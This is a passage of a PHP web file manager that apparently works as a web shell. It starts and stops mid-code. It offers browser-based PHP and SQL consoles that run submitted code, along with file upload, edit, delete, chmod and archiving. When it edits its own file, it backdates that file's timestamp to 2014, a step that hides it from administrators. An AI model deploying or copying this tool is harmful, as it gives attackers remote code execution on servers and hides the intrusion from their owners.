rA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
